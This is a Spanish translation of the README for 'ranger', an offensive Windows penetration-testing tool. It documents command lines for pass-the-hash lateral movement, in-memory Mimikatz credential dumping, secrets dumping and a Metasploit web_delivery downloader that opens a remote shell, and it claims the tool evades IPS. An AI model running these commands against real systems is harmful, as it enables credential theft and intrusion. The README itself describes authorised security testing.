ranger

Una herramienta para ayudar a los profesionales de seguridad a acceder e interactuar con sistemas remotos basados en Microsoft Windows.

Este proyecto fue conceptualizado con el pensamiento de que no inventamos el arco ni la flecha, solo una forma más eficiente de usarlos.

Ranger es una herramienta de ataque y pruebas de penetración basada en línea de comandos, que tiene la capacidad de utilizar un servidor catapulta instanciado para entregar capacidades contra sistemas Windows. Mientras un usuario disponga de un conjunto de credenciales o un conjunto de hashes (NTLM, LM, LM:NTLM), puede obtener acceso a sistemas que forman parte de la confianza.

Usando esta capacidad, un profesional de seguridad puede extraer credenciales de la memoria en texto claro, acceder a tablas SAM, ejecutar comandos, scripts de PowerShell, binarios de Windows y otras herramientas. Actualmente, la herramienta evita la mayoría de las soluciones de proveedores de IPS a menos que hayan sido ajustadas específicamente para detectarla. La herramienta fue desarrollada utilizando nuestros laboratorios domésticos con el objetivo de apoyar a los profesionales de seguridad en actividades legalmente y/o contractualmente respaldadas.

Se está agregando más funcionalidad, pero por ahora la herramienta utiliza las contribuciones de la comunidad de repositorios relacionados con los equipos de PowerShell PowerView, PowerShell Mimikatz e Impacket.

Gestionando Ranger:

Instalación:

wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

Actualización:

ranger --update

Uso:

• Ranger utiliza una combinación de métodos y ataques, un método se usa para entregar un ataque/comando
• Un ataque es lo que intentas lograr
• Algunos elementos son tanto método como ataque combinados en uno, y algunos métodos no pueden usar algunos de los ataques debido a limitaciones actuales en las bibliotecas o protocolos

Métodos y Ataques:

--scout
--secrets-dump

Método:

--wmiexec
--psexec
--smbexec
--atexec

Ataque:

--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

Ejecución de Comandos:

Encontrar Usuarios Conectados:

ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

Shell de Comandos SMBEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

Shell de Comandos PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

Ejecución de Comandos PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

Ejecución de Comandos WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

Inyector de Memoria PowerShell Mimikatz WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

Inyector de Memoria web_delivery Metasploit WMIEXEC (requiere configuración de Metasploit, ver más abajo):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

Inyector de Memoria de Código Personalizado WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

Ejecución de Comandos ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

Inyector de Memoria PowerShell Mimikatz ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

Inyector de Memoria web_delivery Metasploit ATEXEC (requiere configuración de Metasploit, ver más abajo):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

Inyector de Memoria de Código Personalizado ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

Inyector de Memoria de Código Personalizado SECRETSDUMP:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

Crear Ataque Mimikatz Pegable:

ranger.py --invoker -q -v -vv -vvv

Crear Ataque web_delivery Pegable (requiere configuración de Metasploit, ver más abajo):

ranger.py --downloader -q -v -vv -vvv

Crear Ataque Ejecutor Pegable:

ranger.py --executor -q -v -vv -vvv

Identificación de Miembros de Grupos y Dominios

• Al identificar grupos, asegúrate de determinar cuál es el dominio de consulta real con --get-domain-membership
• Luego, al consultar un grupo, usa el --domain opcional, que te permite apuntar a un dominio diferente al que iniciaste sesión

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

Notas sobre el Uso:

Formato del Archivo de Credenciales:

• Puedes pasar una lista de nombres de usuario y contraseñas o hashes en el siguiente formato en el mismo archivo:

username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

Advertencias del Archivo de Credenciales:

• Si proporcionas nombres de dominio en el archivo, se usarán en lugar del WORKGROUP predeterminado.
• Si proporcionas el nombre de dominio por línea de comandos -d, se interpretará que deseas ignorar todos los nombres de dominio del archivo.

Ejecución por Línea de Comandos:

• Si no deseas usar el archivo, puedes pasar los detalles directamente por línea de comandos.
• Si deseas proporcionar hashes en lugar de contraseñas, simplemente pásalos a través del argumento de contraseña.
• Si están en formato PWDUMP y no proporcionas un nombre de usuario, extraerá el nombre de usuario del hash.
• Si proporcionas un nombre de usuario, considerará que el mismo hash se aplica a un usuario diferente.
• Usa los siguientes formatos para la contraseña:

password
LM:NTLM
:NTLM
PWDUMP

Objetivos y Exclusiones:

• Los objetivos y las exclusiones se pueden usar al mismo tiempo

Objetivos, Rangos de Objetivos, CIDR de Objetivos, Listas de Objetivos, Objetivos XML de NMAP:

• Puedes proporcionar una lista de objetivos ya sea usando una lista de objetivos o a través de la opción de objetivo.
• Puedes proporcionar múltiples archivos de lista de objetivos separándolos por comas, y agregará los datos y eliminará duplicados, y luego excluirá tu dirección IP de la interfaz predeterminada o de la interfaz que proporciones.
• La herramienta acepta notaciones CIDR, rangos pequeños (192.168.195.1-100) o rangos grandes (192.168.194.1-192.163.1.1) o direcciones IP individuales.
• Nuevamente, solo sepáralos por comas en la línea de comandos o colócalos en un archivo delimitado por nuevas líneas.
• Los XML de Nmap también se pueden usar para apuntar a sistemas; también pueden estar separados por comas.
• La herramienta normalizará y eliminará duplicados antes de apuntar a las máquinas.
• EJEMPLO: -t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

Exclusiones, Rangos de Exclusión, CIDR de Exclusión, Listas de Exclusión, Exclusiones XML de Nmap:

• También puedes excluir objetivos usando los argumentos de exclusión, así que si no tocas una pequeña Clase C dentro de una Clase A, lo calculará por ti.
• Las exclusiones se pueden realizar exactamente de la misma manera que los objetivos, solo reemplaza la t en los comandos por e.
• EJEMPLO: -e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

Sistemas de Prevención de Intrusiones (IPS):

• Mimikatz, Downloader y Executor utilizan inyección de memoria de PowerShell llamando a otros servicios y protocolos.
• Los comandos están doblemente codificados y evitan las soluciones IPS actuales (incluso de última generación) a menos que estén específicamente ajustadas para detectar estos ataques.
• ATEXEC es el único que actualmente aterriza en disco y no codifica; todavía tengo algunas reescrituras que hacer.

Ataques Invoker:

• Ejecuta el PowerShell Mimikatz en la máquina objetivo.
• Por defecto, la función/cmdlet es Invoke-Mimikatz, que se puede cambiar con -f.
• Por defecto, los argumentos son DumpCreds, que se pueden cambiar con -a.
• Invoker requiere tanto la opción -f como -a si deseas cambiar el comando; para evitar usar -a, puedes usar Executor.
• EJEMPLO: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

Ataques Executor:

• Te permite ejecutar binarios y/o scripts de PowerShell en máquinas objetivo.
• Deben estar en el directorio actual donde se encuentra el script o binario en tu máquina de ataque.
• El script o binario se inyectará directamente en la memoria.
• Requiere que el payload (binario o script) se identifique con -x.
• Requiere que la función/cmdlet/argumentos se definan con -f.
• Opcionalmente, puedes definir más el comando con -a si la herramienta lo requiere.
• EJEMPLO 1: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
• EJEMPLO 2: -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

Ataques Downloader (web_delivery):

• Para configurar Metasploit para el exploit web_delivery, inicia Metasploit y configura el exploit para que cumpla las siguientes condiciones.

use exploit/multi/script/web_delivery
set targets 2
set payload <elige el payload deseado>
set lhost <tu IP>
set lport <puerto para el shell, asegúrate de que no sea un puerto conflictivo>
set URIPATH /
set SRVPORT <el mismo que el configurado por la opción -r en ranger, por defecto 8888>
exploit -j

Preguntas Frecuentes

Errores de Acceso Denegado para SMBEXEC y WMIEXEC

Estoy recibiendo errores de acceso denegado en máquinas Windows que forman parte de un GRUPO DE TRABAJO.

Cuando no se forma parte de un dominio, Windows por defecto no tiene recursos compartidos administrativos. SMBEXEC depende de que los recursos compartidos estén habilitados. Además, WMIC no está habilitado en máquinas de GRUPO DE TRABAJO. SMBEXEC y WMIEXEC están diseñados para apuntar a protocolos habilitados en sistemas de dominio. Si bien es posible habilitar estas funciones en un sistema de GRUPO DE TRABAJO, ten en cuenta que estás introduciendo protocolos vulnerables (después de todo, para eso está hecha esta herramienta). Habilitar estas características en tu sistema doméstico principal que tu pareja usa para Facebook probablemente no sea la mejor idea.

• Asegúrate de que sea una máquina de prueba que poseas. Puedes forzar la habilitación de los recursos compartidos siguiendo las instrucciones aquí: http://www.wintips.org/how-to-enable-admin-shares-windows-7/
• Si deseas determinar qué recursos compartidos están expuestos y luego apuntar a ellos, puedes usar una herramienta como enum4linux y luego usar el argumento --share share_name en ranger para intentar ejecutar SMBEXEC.

Funcionalidades Futuras:

Salida Coloreada:

• Continuar agregando salida coloreada con https://pypi.python.org/pypi/colorama
• WINDOWER – Ejecutar PowerShell sin ocultar la ventana para evitar ciertos sistemas de monitoreo
• GATHERER – Extractor automatizado de credenciales para un grupo de dominio
• HUNTER - Decisión Semi-Inteligente (SID) – Identifica una ruta de escalación basada en similitudes de membresía de grupos utilizando árboles de clasificación
• Mejor análisis de NTDS y Grupos
• Servidores catapulta SMB

Agradecimientos:

• Microsoft por PowerShell (¡y por adelantado por bash en Windows!)
• Al equipo de CoreLabs Impacket
• Al equipo de PowerShellEmpire
• A Mattifestation por iniciar PowerSploit y PowerShellMafia y a los contribuyentes por continuar desarrollándolo
• A nuestros amigos y a la comunidad por la comunidad constructiva

Presentado en:

[BSides Charm City 2016: 23 de abril de 2016] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)

Video de la Presentación:

[Video] (https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)

Distribuciones de las que la herramienta forma parte:

[Black Arch Linux] (https://blackarch.org/)